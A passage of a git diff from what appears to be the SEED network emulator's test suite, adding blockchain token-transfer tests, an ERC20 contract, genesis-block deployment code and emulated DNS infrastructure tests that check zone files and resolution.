"r") as abi_file: + contract_abi = json.load(abi_file) + + contract = self.web3.eth.contract(address=self.contract_address, abi=contract_abi) + self.printLog("Checking the initial balance of the accounts...") + account_1_init_balance = contract.functions.balanceOf(self.account_1).call() + self.printLog(f'Balance of account {self.account_1}: {account_1_init_balance}') + + account_2_init_balance = contract.functions.balanceOf(self.account_2).call() + self.printLog(f'Balance of account {self.account_2}: {account_2_init_balance}') + + self.assertTrue(account_1_init_balance == 1000000, "Initial balance of account 1 is incorrect") + self.assertTrue(account_2_init_balance == 50000, "Initial balance of account 2 is incorrect") + + # Transfer tokens from account 2 to account 1 + self.printLog("Transferring 100 tokens from account 2 to account 1...") + + transaction = contract.functions.transfer(self.account_1, 100).buildTransaction({ + 'from': self.account_2, + 'nonce': self.web3.eth.getTransactionCount(self.account_2), + 'gas': 3000000, + 'gasPrice':self.web3.toWei('50', 'gwei'), + 'chainId': 1337 + }) + + signed_txn = self.web3.eth.account.signTransaction(transaction, self.account_2_private_key) + tx_hash = self.web3.eth.sendRawTransaction(signed_txn.rawTransaction) + receipt = self.web3.eth.waitForTransactionReceipt(tx_hash) + + self.assertTrue(receipt.status == 1, "Transaction Failed") + + account_1_final_balance = contract.functions.balanceOf(self.account_1).call() + account_2_final_balance = contract.functions.balanceOf(self.account_2).call() + + self.printLog("Balance after transaction:") + self.printLog(f'Balance of account {self.account_1}: {account_1_final_balance}') + self.printLog(f'Balance of account {self.account_2}: {account_2_final_balance}') + self.assertTrue(account_1_final_balance == 1000100, "Final balance of account 1 is incorrect") + self.assertTrue(account_2_final_balance == 49900, "Final balance of account 2 is incorrect") + + + @classmethod + def get_test_suite(cls): + test_suite = ut.TestSuite() + test_suite.addTest(cls("test_poa_chain_connection")) + test_suite.addTest(cls("test_deployed_contract")) + test_suite.addTest(cls("test_transfer_tokens")) + return test_suite + + +if __name__ == "__main__": + test_suite = GenesisPOATestCase.get_test_suite() + res = ut.TextTestRunner(verbosity=2).run(test_suite) + + GenesisPOATestCase.printLog("----------Test Summary----------") + num, errs, fails = res.testsRun, len(res.errors), len(res.failures) + GenesisPOATestCase.printLog( + "Score: {}/{} ({} errors, {} failures)".format( + num - (errs + fails), num, errs, fails + ) + ) diff --git a/tests/experiment_test/genesis/POA/README.md b/tests/experiment_test/genesis/POA/README.md index aa77ff87b..e9f2a825b 100644 --- a/tests/experiment_test/genesis/POA/README.md +++ b/tests/experiment_test/genesis/POA/README.md @@ -1,16 +1,16 @@ -# GenesisTestCase - -## Overview -The `GenesisTestCase.py` script performs a unit test for deploying smart contract using the genesis block. - -## Test Cases -The script includes the following test cases: -1. `test_poa_chain_connection`: This test verifies if the blockchain is up and running by attempting to connect to the PoA chain multiple times within a specified timeout. -2. `test_deployed_contract`: This test checks if the custom erc20 token is deployed succesfully on the blockchain. - -## How to Run -To execute the test script, simply run the following command in your terminal: -```bash -./GenesisTeseCase.py -``` -Upon completion, a `test_log` folder will be created, which contains detailed logs of the test results. The logs are also printed to the terminal. +# GenesisTestCase + +## Overview +The `GenesisTestCase.py` script performs a unit test for deploying smart contract using the genesis block. + +## Test Cases +The script includes the following test cases: +1. `test_poa_chain_connection`: This test verifies if the blockchain is up and running by attempting to connect to the PoA chain multiple times within a specified timeout. +2. `test_deployed_contract`: This test checks if the custom erc20 token is deployed succesfully on the blockchain. + +## How to Run +To execute the test script, simply run the following command in your terminal: +```bash +./GenesisTeseCase.py +``` +Upon completion, a `test_log` folder will be created, which contains detailed logs of the test results. The logs are also printed to the terminal. diff --git a/tests/experiment_test/genesis/POA/__init__.py b/tests/experiment_test/genesis/POA/__init__.py index 226e6164c..996a4966b 100644 --- a/tests/experiment_test/genesis/POA/__init__.py +++ b/tests/experiment_test/genesis/POA/__init__.py @@ -1 +1 @@ -from .GenesisPOATestCase import GenesisPOATestCase +from .GenesisPOATestCase import GenesisPOATestCase diff --git a/tests/experiment_test/genesis/POA/emulator-code/Contracts/.gitignore b/tests/experiment_test/genesis/POA/emulator-code/Contracts/.gitignore index 1eb37dcc6..044336006 100644 --- a/tests/experiment_test/genesis/POA/emulator-code/Contracts/.gitignore +++ b/tests/experiment_test/genesis/POA/emulator-code/Contracts/.gitignore @@ -1 +1 @@ -!*.bin +!*.bin diff --git a/tests/experiment_test/genesis/POA/emulator-code/Contracts/contract.sol b/tests/experiment_test/genesis/POA/emulator-code/Contracts/contract.sol index 375d9d9db..6cd9c01c7 100644 --- a/tests/experiment_test/genesis/POA/emulator-code/Contracts/contract.sol +++ b/tests/experiment_test/genesis/POA/emulator-code/Contracts/contract.sol @@ -1,122 +1,122 @@ -// SPDX-License-Identifier: MIT -// -// https://cryptomarketpool.com/erc20-token-solidity-smart-contract/ - -pragma solidity ^0.8.0; - -interface ERC20 { - function totalSupply() external pure returns (uint256 _totalSupply); - - function balanceOf(address _owner) external view returns (uint256 balance); - - function transfer(address _to, uint256 _value) external returns (bool success); - - function transferFrom( - address _from, - address _to, - uint256 _value - ) external returns (bool success); - - function approve(address _spender, uint256 _value) external returns (bool success); - - function allowance(address _owner, address _sender) external view returns (uint256 remaining); - - event Transfer(address indexed _from, address indexed _to, uint256 _value); - event Approval(address indexed _owner, address indexed _spender, uint256 _value); -} - -contract Contract is ERC20 { - string public constant symbol = "SEED"; - string public constant name = "SEED token"; - uint8 public constant decimals = 18; - - uint256 private constant __totalSupply = 200000000000000000000000; - - mapping(address => uint256) private __balanceOf; - - mapping(address => mapping(address => uint256)) private __allowances; - - constructor() { - __balanceOf[msg.sender] = __totalSupply; - } - - function totalSupply() public pure override returns (uint256) { - return __totalSupply; - } - - function balanceOf(address _address) public view override returns (uint256) { - return __balanceOf[_address]; - } - - // Transfer an amount of tokens to another address. - // Pre-checks: - // - The transfer needs to be > 0 - // - does the msg.sender have enough tokens to forfill the transfer - // Output: - // - decrease the balance of the sender - // - increase the balance of the to address - // - Emit transfer event - function transfer(address _to, uint256 _value) public override returns (bool) { - if (_value > 0 && _value <= balanceOf(msg.sender)) { - __balanceOf[msg.sender] -= _value; - __balanceOf[_to] += _value; - emit Transfer(msg.sender, _to, _value); - return true; - } - - return false; - } - - // this allows someone else (a 3rd party) to transfer from my wallet to someone elses wallet - // Pre-checks: - // - The transfer needs to be > 0 - // - and the 3rd party has an allowance of > 0 - // - and the allowance is >= the value of the transfer - // - and it is not a contract - // Output: - // - decrease the balance of the from account - // - increase the balance of the to account - // - Emit transfer event - function transferFrom( - address _from, - address _to, - uint256 _value - ) public override returns (bool) { - if ( - _value > 0 && - __allowances[_from][msg.sender] > 0 && - __allowances[_from][msg.sender] >= _value && - !isContract(_to) - ) { - __balanceOf[_from] -= _value; - __balanceOf[_to] += _value; - emit Transfer(_from, _to, _value); - return true; - } - - return false; - } - - // This check is to determine if we are sending to a contract? - // Is there code at this address? If the code size is greater then 0 then it is a contract. - function isContract(address _address) public view returns (bool) { - uint256 codeSize; - assembly { - codeSize := extcodesize(_address) - } - - return codeSize > 0; - } - - // allows a spender address to spend a specific amount of value - function approve(address _spender, uint256 _value) external override returns (bool) { - __allowances[msg.sender][_spender] = _value; - emit Approval(msg.sender, _spender, _value); - return true; - } - - // shows how much a spender has the approval to spend to a specific address - function allowance(address _owner, address _spender) external override view returns (uint256 remaining) { - return __allowances[_owner][_spender]; - } -} +// SPDX-License-Identifier: MIT +// +// https://cryptomarketpool.com/erc20-token-solidity-smart-contract/ + +pragma solidity ^0.8.0; + +interface ERC20 { + function totalSupply() external pure returns (uint256 _totalSupply); + + function balanceOf(address _owner) external view returns (uint256 balance); + + function transfer(address _to, uint256 _value) external returns (bool success); + + function transferFrom( + address _from, + address _to, + uint256 _value + ) external returns (bool success); + + function approve(address _spender, uint256 _value) external returns (bool success); + + function allowance(address _owner, address _sender) external view returns (uint256 remaining); + + event Transfer(address indexed _from, address indexed _to, uint256 _value); + event Approval(address indexed _owner, address indexed _spender, uint256 _value); +} + +contract Contract is ERC20 { + string public constant symbol = "SEED"; + string public constant name = "SEED token"; + uint8 public constant decimals = 18; + + uint256 private constant __totalSupply = 200000000000000000000000; + + mapping(address => uint256) private __balanceOf; + + mapping(address => mapping(address => uint256)) private __allowances; + + constructor() { + __balanceOf[msg.sender] = __totalSupply; + } + + function totalSupply() public pure override returns (uint256) { + return __totalSupply; + } + + function balanceOf(address _address) public view override returns (uint256) { + return __balanceOf[_address]; + } + + // Transfer an amount of tokens to another address. + // Pre-checks: + // - The transfer needs to be > 0 + // - does the msg.sender have enough tokens to forfill the transfer + // Output: + // - decrease the balance of the sender + // - increase the balance of the to address + // - Emit transfer event + function transfer(address _to, uint256 _value) public override returns (bool) { + if (_value > 0 && _value <= balanceOf(msg.sender)) { + __balanceOf[msg.sender] -= _value; + __balanceOf[_to] += _value; + emit Transfer(msg.sender, _to, _value); + return true; + } + + return false; + } + + // this allows someone else (a 3rd party) to transfer from my wallet to someone elses wallet + // Pre-checks: + // - The transfer needs to be > 0 + // - and the 3rd party has an allowance of > 0 + // - and the allowance is >= the value of the transfer + // - and it is not a contract + // Output: + // - decrease the balance of the from account + // - increase the balance of the to account + // - Emit transfer event + function transferFrom( + address _from, + address _to, + uint256 _value + ) public override returns (bool) { + if ( + _value > 0 && + __allowances[_from][msg.sender] > 0 && + __allowances[_from][msg.sender] >= _value && + !isContract(_to) + ) { + __balanceOf[_from] -= _value; + __balanceOf[_to] += _value; + emit Transfer(_from, _to, _value); + return true; + } + + return false; + } + + // This check is to determine if we are sending to a contract? + // Is there code at this address? If the code size is greater then 0 then it is a contract. + function isContract(address _address) public view returns (bool) { + uint256 codeSize; + assembly { + codeSize := extcodesize(_address) + } + + return codeSize > 0; + } + + // allows a spender address to spend a specific amount of value + function approve(address _spender, uint256 _value) external override returns (bool) { + __allowances[msg.sender][_spender] = _value; + emit Approval(msg.sender, _spender, _value); + return true; + } + + // shows how much a spender has the approval to spend to a specific address + function allowance(address _owner, address _spender) external override view returns (uint256 remaining) { + return __allowances[_owner][_spender]; + } +} diff --git a/tests/experiment_test/genesis/POA/emulator-code/test-emulator.py b/tests/experiment_test/genesis/POA/emulator-code/test-emulator.py index 31a6ab915..637f7f614 100755 --- a/tests/experiment_test/genesis/POA/emulator-code/test-emulator.py +++ b/tests/experiment_test/genesis/POA/emulator-code/test-emulator.py @@ -1,74 +1,74 @@ -#!/usr/bin/env python3 -# encoding: utf-8 - -from seedemu import * -from examples.blockchain.D00_ethereum_poa import ethereum_poa -from seedemu.services.EthereumService import * -from experiments.blockchain.D23_deploy_contract.lib.services.EthereumService.EthUtil import CustomGenesis -from experiments.blockchain.D23_deploy_contract.lib.services.EthereumService.EthereumService import CustomBlockchain -import platform -from web3 import Web3 -import random - - -def run(dumpfile=None): - ############################################################################### - emu = Emulator() - - # Run and load the pre-built ethereum component; it is used as the base blockchain - local_dump_path = "./blockchain-poa.bin" - ethereum_poa.run( - dumpfile=local_dump_path, - hosts_per_as=1, - total_eth_nodes=10, - total_accounts_per_node=1, - ) - emu.load(local_dump_path) - - # Get the blockchain information - eth: EthereumService = emu.getLayer("EthereumService") - blockchain: Blockchain = eth.getBlockchainByName(eth.getBlockchainNames()[0]) - eth_nodes = blockchain.getEthServerNames() - blockchain.__class__ = CustomBlockchain - - with open("./Contracts/Contract.bin-runtime", "r") as f: - runtime_bytecode = Web3.toHex(hexstr=f.read().strip()) - - # This account has been generated from the mnemonic phrase: "gentle always fun glass foster produce north tail security list example gain" - # We will use this as a contract address for the contract deployment using genesis block - contract_address = "0xA08Ae0519125194cB516d72402a00A76d0126Af8" - blockchain.addLocalAccount(contract_address, balance=0) - - # Add the runtime bytecode with the contract address in the genesis block - blockchain.addCode(contract_address, runtime_bytecode) - - # Set initial storage for the contract - # This will assign the total supply of 1,000,000 tokens to the contract address using the slot 0 which is __balanceOf for the contract - blockchain.addStorage(contract_address=contract_address, slot=0, value=1000000) - - # Add the initial balance for the custom address using storage and function slot 0 - custom_address = "0x2e2e3a61daC1A2056d9304F79C168cD16aAa88e9" - blockchain.addStorage(contract_address=contract_address, slot=0, value=50000) - - # Generate the emulator files - if dumpfile is not None: - emu.dump(dumpfile) - else: - emu.render() - data = {} - data['rpc_url'] = str(emu.getBindingFor(random.choice(eth_nodes)).getInterfaces()[0].getAddress()) - # Save the data to a file - with open("./../rpc_info.json", "w") as f: - json.dump(data, f) - - if platform.machine() == "aarch64" or platform.machine() == "arm64": - current_platform = Platform.ARM64 - else: - current_platform = Platform.AMD64 - - docker = Docker(etherViewEnabled=True, platform=current_platform, internetMapEnabled=False) - emu.compile(docker, "./output", override=True) - - -if __name__ == "__main__": - run() +#!/usr/bin/env python3 +# encoding: utf-8 + +from seedemu import * +from examples.blockchain.D00_ethereum_poa import ethereum_poa +from seedemu.services.EthereumService import * +from experiments.blockchain.D23_deploy_contract.lib.services.EthereumService.EthUtil import CustomGenesis +from experiments.blockchain.D23_deploy_contract.lib.services.EthereumService.EthereumService import CustomBlockchain +import platform +from web3 import Web3 +import random + + +def run(dumpfile=None): + ############################################################################### + emu = Emulator() + + # Run and load the pre-built ethereum component; it is used as the base blockchain + local_dump_path = "./blockchain-poa.bin" + ethereum_poa.run( + dumpfile=local_dump_path, + hosts_per_as=1, + total_eth_nodes=10, + total_accounts_per_node=1, + ) + emu.load(local_dump_path) + + # Get the blockchain information + eth: EthereumService = emu.getLayer("EthereumService") + blockchain: Blockchain = eth.getBlockchainByName(eth.getBlockchainNames()[0]) + eth_nodes = blockchain.getEthServerNames() + blockchain.__class__ = CustomBlockchain + + with open("./Contracts/Contract.bin-runtime", "r") as f: + runtime_bytecode = Web3.toHex(hexstr=f.read().strip()) + + # This account has been generated from the mnemonic phrase: "gentle always fun glass foster produce north tail security list example gain" + # We will use this as a contract address for the contract deployment using genesis block + contract_address = "0xA08Ae0519125194cB516d72402a00A76d0126Af8" + blockchain.addLocalAccount(contract_address, balance=0) + + # Add the runtime bytecode with the contract address in the genesis block + blockchain.addCode(contract_address, runtime_bytecode) + + # Set initial storage for the contract + # This will assign the total supply of 1,000,000 tokens to the contract address using the slot 0 which is __balanceOf for the contract + blockchain.addStorage(contract_address=contract_address, slot=0, value=1000000) + + # Add the initial balance for the custom address using storage and function slot 0 + custom_address = "0x2e2e3a61daC1A2056d9304F79C168cD16aAa88e9" + blockchain.addStorage(contract_address=contract_address, slot=0, value=50000) + + # Generate the emulator files + if dumpfile is not None: + emu.dump(dumpfile) + else: + emu.render() + data = {} + data['rpc_url'] = str(emu.getBindingFor(random.choice(eth_nodes)).getInterfaces()[0].getAddress()) + # Save the data to a file + with open("./../rpc_info.json", "w") as f: + json.dump(data, f) + + if platform.machine() == "aarch64" or platform.machine() == "arm64": + current_platform = Platform.ARM64 + else: + current_platform = Platform.AMD64 + + docker = Docker(etherViewEnabled=True, platform=current_platform, internetMapEnabled=False) + emu.compile(docker, "./output", override=True) + + +if __name__ == "__main__": + run() diff --git a/tests/experiment_test/genesis/__init__.py b/tests/experiment_test/genesis/__init__.py index a17d786cd..e969c4752 100644 --- a/tests/experiment_test/genesis/__init__.py +++ b/tests/experiment_test/genesis/__init__.py @@ -1 +1 @@ -from .POA import * +from .POA import * diff --git a/tests/internet/__init__.py b/tests/internet/__init__.py index faf54b899..4fec09074 100644 --- a/tests/internet/__init__.py +++ b/tests/internet/__init__.py @@ -1,3 +1,6 @@ -from .ip_anycast import IPAnyCastTestCase -from .mini_internet import MiniInternetTestCase -from .host_mgmt import HostMgmtTestCase \ No newline at end of file +from .ip_anycast import IPAnyCastTestCase +from .mini_internet import MiniInternetTestCase +from .host_mgmt import HostMgmtTestCase +from .dns import DNSTestCase +from .dns_no_master import DNSTestCaseNoMaster +from .dns_fallback import DNSTestCaseFallback \ No newline at end of file diff --git a/tests/internet/dns/DNSTestCase.py b/tests/internet/dns/DNSTestCase.py new file mode 100644 index 000000000..534af8f86 --- /dev/null +++ b/tests/internet/dns/DNSTestCase.py @@ -0,0 +1,82 @@ +#!/usr/bin/env python3 +# encoding: utf-8 + +import os, sys +sys.path.insert(0, os.path.abspath(os.path.join(os.path.dirname(__file__), '../../..'))) + +import unittest as ut +from tests.SeedEmuTestCase import SeedEmuTestCase + +class DNSTestCase(SeedEmuTestCase): + + @classmethod + def setUpClass(cls) -> None: + super().setUpClass() + cls.wait_until_all_containers_up(4) + cls.local_dns = None + cls.client1 = None + cls.auth_example = None + cls.auth_rev = None + for c in cls.containers: + n = c.name + if 'local-dns' in n or '10.151.0.53' in n: + cls.local_dns = c + if 'client1' in n: + cls.client1 = c + # Discover authoritative containers by scanning their bind configs + for c in cls.containers: + ec, _ = c.exec_run("sh -lc 'test -f /etc/bind/named.conf.zones && grep -q " + '"zone \\\"example32.com.\\\""' + " /etc/bind/named.conf.zones'") + if ec == 0: + cls.auth_example = c + ec, _ = c.exec_run("sh -lc 'test -f /etc/bind/named.conf.zones && grep -q " + '"zone \\\"in-addr.arpa.\\\""' + " /etc/bind/named.conf.zones'") + if ec == 0: + cls.auth_rev = c + return + + def _ok(self, container, cmd): + ec, _ = container.exec_run(cmd) + return ec == 0 + + def test_authoritative_basic(self): + self.assertIsNotNone(self.auth_example) + self.assertTrue(self._ok(self.auth_example, "test -f /etc/bind/named.conf.zones")) + self.assertTrue(self._ok(self.auth_example, "grep -q 'zone \"example32.com.\"' /etc/bind/named.conf.zones")) + self.assertTrue(self._ok(self.auth_example, "grep -q 'SOA' /etc/bind/zones/example32.com.")) + self.assertTrue(self._ok(self.auth_example, "grep -q 'NS ' /etc/bind/zones/example32.com.")) + self.assertTrue(self._ok(self.auth_example, "grep -q 'A 10.151.0.7' /etc/bind/zones/example32.com.")) + + def test_caching_forward_and_resolvconf(self): + self.assertIsNotNone(self.local_dns) + self.assertIsNotNone(self.client1) + self.assertTrue(self._ok(self.client1, "grep -q 'nameserver 10.151.0.53' /etc/resolv.conf")) + self.assertTrue(self._ok(self.local_dns, "grep -q 'zone \"example32.com.\"' /etc/bind/named.conf.local")) + self.assertTrue(self._ok(self.local_dns, "grep -q 'forwarders' /etc/bind/named.conf.local")) + ec, _ = self.client1.exec_run("ping -c 1 example32.com") + self.assertEqual(ec, 0) + + def test_root_hints_recursive(self): + self.assertIsNotNone(self.local_dns) + self.assertTrue(self._ok(self.local_dns, "test -f /usr/share/dns/root.hints")) + self.assertTrue(self._ok(self.local_dns, "test -f /etc/bind/db.root")) + self.assertTrue(self._ok(self.local_dns, "grep -q 'NS ' /etc/bind/db.root || grep -q -E '[0-9]+(\\.[0-9]+){3}' /usr/share/dns/root.hints")) + + def test_reverse_ptr_files(self): + self.assertIsNotNone(self.auth_rev) + self.assertTrue(self._ok(self.auth_rev, "grep -q 'PTR' /etc/bind/zones/in-addr.arpa.")) + + @classmethod + def get_test_suite(cls): + test_suite = ut.TestSuite() + test_suite.addTest(cls('test_authoritative_basic')) + test_suite.addTest(cls('test_caching_forward_and_resolvconf')) + test_suite.addTest(cls('test_root_hints_recursive')) + test_suite.addTest(cls('test_reverse_ptr_files')) + return test_suite + +if __name__ == "__main__": + test_suite = DNSTestCase.get_test_suite() + res = ut.TextTestRunner(verbosity=2).run(test_suite) + + DNSTestCase.printLog("==========Test=========") + num, errs, fails = res.testsRun, len(res.errors), len(res.failures) + DNSTestCase.printLog("score: %d of %d (%d errors, %d failures)" % (num - (errs+fails), num, errs, fails)) diff --git a/tests/internet/dns/__init__.py b/tests/internet/dns/__init__.py new file mode 100644 index 000000000..4dca0f750 --- /dev/null +++ b/tests/internet/dns/__init__.py @@ -0,0 +1 @@ +from .DNSTestCase import DNSTestCase diff --git a/tests/internet/dns/emulator-code/test-emulator.py b/tests/internet/dns/emulator-code/test-emulator.py new file mode 100644 index 000000000..bcfb4b8e6 --- /dev/null +++ b/tests/internet/dns/emulator-code/test-emulator.py @@ -0,0 +1,96 @@ +#!/usr/bin/env python3 +# encoding: utf-8 + +import os, sys +sys.path.insert(0, os.path.abspath(os.path.join(os.path.dirname(__file__), '../../../..'))) + +from seedemu.compiler import Docker +from seedemu.core import Emulator, Binding, Filter, Action +from seedemu.layers import Base, Routing, Ebgp, Ibgp, Ospf, PeerRelationship +from seedemu.services import DomainNameService, DomainNameCachingService, ReverseDomainNameService + +# Build a minimal Internet with authoritative DNS, a local caching DNS, and a client host. +emu = Emulator() +base = Base() +routing = Routing() +ebgp = Ebgp() +ibgp = Ibgp() +ospf = Ospf() + +# Internet Exchange +ix100 = base.createInternetExchange(100) +ix100.getPeeringLan().setDisplayName('IX-100') + +# Authoritative side: AS150 +as150 = base.createAutonomousSystem(150) +as150.createNetwork('net0') +as150.createRouter('r150').joinNetwork('net0').joinNetwork('ix100') +as150.createHost('dns-a').joinNetwork('net0', address='10.150.0.10') +as150.createHost('dns-b').joinNetwork('net0', address='10.150.0.11') +as150.createHost('dns-com').joinNetwork('net0', address='10.150.0.12') +as150.createHost('dns-ex').joinNetwork('net0', address='10.150.0.13') +as150.createHost('dns-rev').joinNetwork('net0', address='10.150.0.14') + +# Client side: AS151 +as151 = base.createAutonomousSystem(151) +as151.createNetwork('net0') +as151.createRouter('r151').joinNetwork('net0').joinNetwork('ix100') +# LDNS host and two end hosts +as151.createHost('local-dns').joinNetwork('net0', address='10.151.0.53') +as151.createHost('svc1').joinNetwork('net0', address='10.151.0.7') +as151.createHost('client1').joinNetwork('net0') + +# EBGP peering between two ASes via IX100 +# Use Provider relationship to ensure reachability + +ebgp.addPrivatePeering(100, 150, 151, abRelationship=PeerRelationship.Provider) + +# Add layers +emu.addLayer(base) +emu.addLayer(routing) +emu.addLayer(ebgp) +emu.addLayer(ibgp) +emu.addLayer(ospf) + +# Authoritative DNS +dns = DomainNameService() +# Root zone +dns.install('a-root').addZone('.').setMaster() +dns.install('b-root').addZone('.') +# com. TLD and a business zone example32.com. +dns.install('ns-com').addZone('com.') +dns.install('ns-example32-com').addZone('example32.com.').setMaster() +# Reverse zone in-addr.arpa. +dns.install('ns-rev').addZone('in-addr.arpa.').setMaster() + +# Add an A record for example32.com to point to svc1 in AS151 +dns.getZone('example32.com.').addRecord('@ A 10.151.0.7') + +emu.addLayer(dns) + +# Local Caching DNS (LDNS) +ldns = DomainNameCachingService(autoRoot=True) +ldns_server = ldns.install('global-dns') +# Forward a business zone to its authoritative master +ldns_server.addForwardZone('example32.com.', 'ns-example32-com') + +emu.addLayer(ldns) + +# Reverse DNS service to populate PTR records +rdns = ReverseDomainNameService() +emu.addLayer(rdns) + +# Bind authoritative vnodes to AS150, and LDNS to the local-dns host in AS151 +emu.addBinding(Binding('a-root', filter=Filter(asn=150, nodeName='dns-a'), action=Action.FIRST)) +emu.addBinding(Binding('b-root', filter=Filter(asn=150, nodeName='dns-b'), action=Action.FIRST)) +emu.addBinding(Binding('ns-com', filter=Filter(asn=150, nodeName='dns-com'), action=Action.FIRST)) +emu.addBinding(Binding('ns-example32-com', filter=Filter(asn=150, nodeName='dns-ex'), action=Action.FIRST)) +emu.addBinding(Binding('ns-rev', filter=Filter(asn=150, nodeName='dns-rev'), action=Action.FIRST)) +emu.addBinding(Binding('global-dns', filter=Filter(asn=151, nodeName='local-dns'), action=Action.FIRST)) + +# Ensure resolv.conf on all nodes uses the local DNS server +base.setNameServers(['10.151.0.53']) + +# Render and compile +emu.render() +emu.compile(Docker(), './output', override=True) diff --git a/tests/internet/dns_fallback/DNSTestCaseFallback.py b/tests/internet/dns_fallback/DNSTestCaseFallback.py new file mode 100644 index 000000000..7bd49bb59 --- /dev/null +++ b/tests/internet/dns_fallback/DNSTestCaseFallback.py @@ -0,0 +1,74 @@ +#!/usr/bin/env python3 +# encoding: utf-8 + +import os, sys +sys.path.insert(0, os.path.abspath(os.path.join(os.path.dirname(__file__), '../../..'))) + +import unittest as ut +from tests.SeedEmuTestCase import SeedEmuTestCase + +class DNSTestCaseFallback(SeedEmuTestCase): + + @classmethod + def setUpClass(cls) -> None: + super().setUpClass() + cls.wait_until_all_containers_up(4) + cls.local_dns = None + cls.client1 = None + cls.auth_example = None + for c in cls.containers: + n = c.name + if 'local-dns' in n or '10.151.0.53' in n: + cls.local_dns = c + if 'client1' in n: + cls.client1 = c + # Discover authoritative for example32.com by scanning bind configs + for c in cls.containers: + ec, _ = c.exec_run("sh -lc 'test -f /etc/bind/named.conf.zones && grep -q " + '"zone \\\"example32.com.\\\""' + " /etc/bind/named.conf.zones'") + if ec == 0: + cls.auth_example = c + return + + def _ok(self, container, cmd): + ec, _ = container.exec_run(cmd) + return ec == 0 + + def test_authoritative_zone_present(self): + self.assertIsNotNone(self.auth_example) + self.assertTrue(self._ok(self.auth_example, "test -f /etc/bind/named.conf.zones")) + self.assertTrue(self._ok(self.auth_example, "grep -q 'zone \"example32.com.\"' /etc/bind/named.conf.zones")) + self.assertTrue(self._ok(self.auth_example, "grep -q 'A 10.151.0.7' /etc/bind/zones/example32.com.")) + + def test_forwarders_fallback_by_zone_server_list(self): + self.assertIsNotNone(self.local_dns) + # Provided invalid vnode name; install() may fallback to zone server list-derived IPs + # or skip forwarders entirely (rely on root recursion). Accept either behavior. + # Debug print + ec, out = self.local_dns.exec_run("sh -lc 'cat -n /etc/bind/named.conf.local 2>/dev/null || true'") + self.printLog(out.decode() if out else "") + has_forwarders = self._ok(self.local_dns, "grep -Eq 'forwarders *\\{ *([0-9]+\\.){3}[0-9]+ *; *\\};' /etc/bind/named.conf.local") + if not has_forwarders: + # Ensure root hints exist to allow recursion path + self.assertTrue(self._ok(self.local_dns, "test -s /usr/share/dns/root.hints")) + + def test_resolution_works(self): + self.assertIsNotNone(self.client1) + self.assertTrue(self._ok(self.client1, "grep -q 'nameserver 10.151.0.53' /etc/resolv.conf")) + ec, _ = self.client1.exec_run("ping -c 1 example32.com") + self.assertEqual(ec, 0) + + @classmethod + def get_test_suite(cls): + test_suite = ut.TestSuite() + test_suite.addTest(cls('test_authoritative_zone_present')) + test_suite.addTest(cls('test_forwarders_fallback_by_zone_server_list')) + test_suite.addTest(cls('test_resolution_works')) + return test_suite + +if __name__ == "__main__": + test_suite = DNSTestCaseFallback.get_test_suite() + res = ut.TextTestRunner(verbosity=2).run(test_suite) + + DNSTestCaseFallback.printLog("==========Test=========") + num, errs, fails = res.testsRun, len(res.errors), len(res.failures) + DNSTestCaseFallback.printLog("score: %d of %d (%d errors, %d failures)" % (num - (errs+fails), num, errs, fails)) diff --git a/tests/internet/dns_fallback/__init__.py b/tests/internet/dns_fallback/__init__.py new file mode 100644 index 000000000..39c3205bf --- /dev/null +++ b/tests/internet/dns_fallback/__init__.py @@ -0,0 +1 @@ +from .DNSTestCaseFallback import DNSTestCaseFallback diff --git a/tests/internet/dns_fallback/emulator-code/test-emulator.py b/tests/internet/dns_fallback/emulator-code/test-emulator.py new file mode 100644 index 000000000..ec81aeb5d --- /dev/null +++ b/tests/internet/dns_fallback/emulator-code/test-emulator.py @@ -0,0 +1,94 @@ +#!/usr/bin/env python3 +# encoding: utf-8 + +import os, sys +sys.path.insert(0, os.path.abspath(os.path.join(os.path.dirname(__file__), '../../../..'))) + +from seedemu.compiler import Docker +from seedemu.core import Emulator, Binding, Filter, Action +from seedemu.layers import Base, Routing, Ebgp, Ibgp, Ospf, PeerRelationship +from seedemu.services import DomainNameService, DomainNameCachingService, ReverseDomainNameService + +# Build a minimal Internet with authoritative DNS (no master), a local caching DNS, and a client host. +emu = Emulator() +base = Base() +routing = Routing() +ebgp = Ebgp() +ibgp = Ibgp() +osfp = Ospf() + +# Internet Exchange +ix100 = base.createInternetExchange(100) +ix100.getPeeringLan().setDisplayName('IX-100') + +# Authoritative side: AS150 +as150 = base.createAutonomousSystem(150) +as150.createNetwork('net0') +as150.createRouter('r150').joinNetwork('net0').joinNetwork('ix100') +as150.createHost('dns-a').joinNetwork('net0', address='10.150.0.10') +as150.createHost('dns-b').joinNetwork('net0', address='10.150.0.11') +as150.createHost('dns-com').joinNetwork('net0', address='10.150.0.12') +as150.createHost('dns-ex').joinNetwork('net0', address='10.150.0.13') +as150.createHost('dns-rev').joinNetwork('net0', address='10.150.0.14') + +# Client side: AS151 +as151 = base.createAutonomousSystem(151) +as151.createNetwork('net0') +as151.createRouter('r151').joinNetwork('net0').joinNetwork('ix100') +# LDNS host and two end hosts +as151.createHost('local-dns').joinNetwork('net0', address='10.151.0.53') +as151.createHost('svc1').joinNetwork('net0', address='10.151.0.7') +as151.createHost('client1').joinNetwork('net0') + +# EBGP peering between two ASes via IX100 +ebgp.addPrivatePeering(100, 150, 151, abRelationship=PeerRelationship.Provider) + +# Add layers +emu.addLayer(base) +emu.addLayer(routing) +emu.addLayer(ebgp) +emu.addLayer(ibgp) +emu.addLayer(osfp) + +# Authoritative DNS without explicit master +dns = DomainNameService() +# Root zone (no master) +dns.install('a-root').addZone('.') +dns.install('b-root').addZone('.') +# com. TLD and a business zone example32.com. (no setMaster on example zone) +dns.install('ns-com').addZone('com.') +dns.install('ns-example32-com').addZone('example32.com.') +# Reverse zone in-addr.arpa. +dns.install('ns-rev').addZone('in-addr.arpa.') + +# Add an A record for example32.com to point to svc1 in AS151 +dns.getZone('example32.com.').addRecord('@ A 10.151.0.7') + +emu.addLayer(dns) + +# Local Caching DNS (LDNS) +ldns = DomainNameCachingService(autoRoot=True) +ldns_server = ldns.install('global-dns') +# Forward a business zone but provide an invalid vnode name to trigger zone-server list fallback +ldns_server.addForwardZone('example32.com.', 'invalid-vnode-name') + +emu.addLayer(ldns) + +# Reverse DNS service to populate PTR records +rdns = ReverseDomainNameService() +emu.addLayer(rdns) + +# Bind authoritative vnodes to specific hosts +emu.addBinding(Binding('a-root', filter=Filter(asn=150, nodeName='dns-a'), action=Action.FIRST)) +emu.addBinding(Binding('b-root', filter=Filter(asn=150, nodeName='dns-b'), action=Action.FIRST)) +emu.addBinding(Binding('ns-com', filter=Filter(asn=150, nodeName='dns-com'), 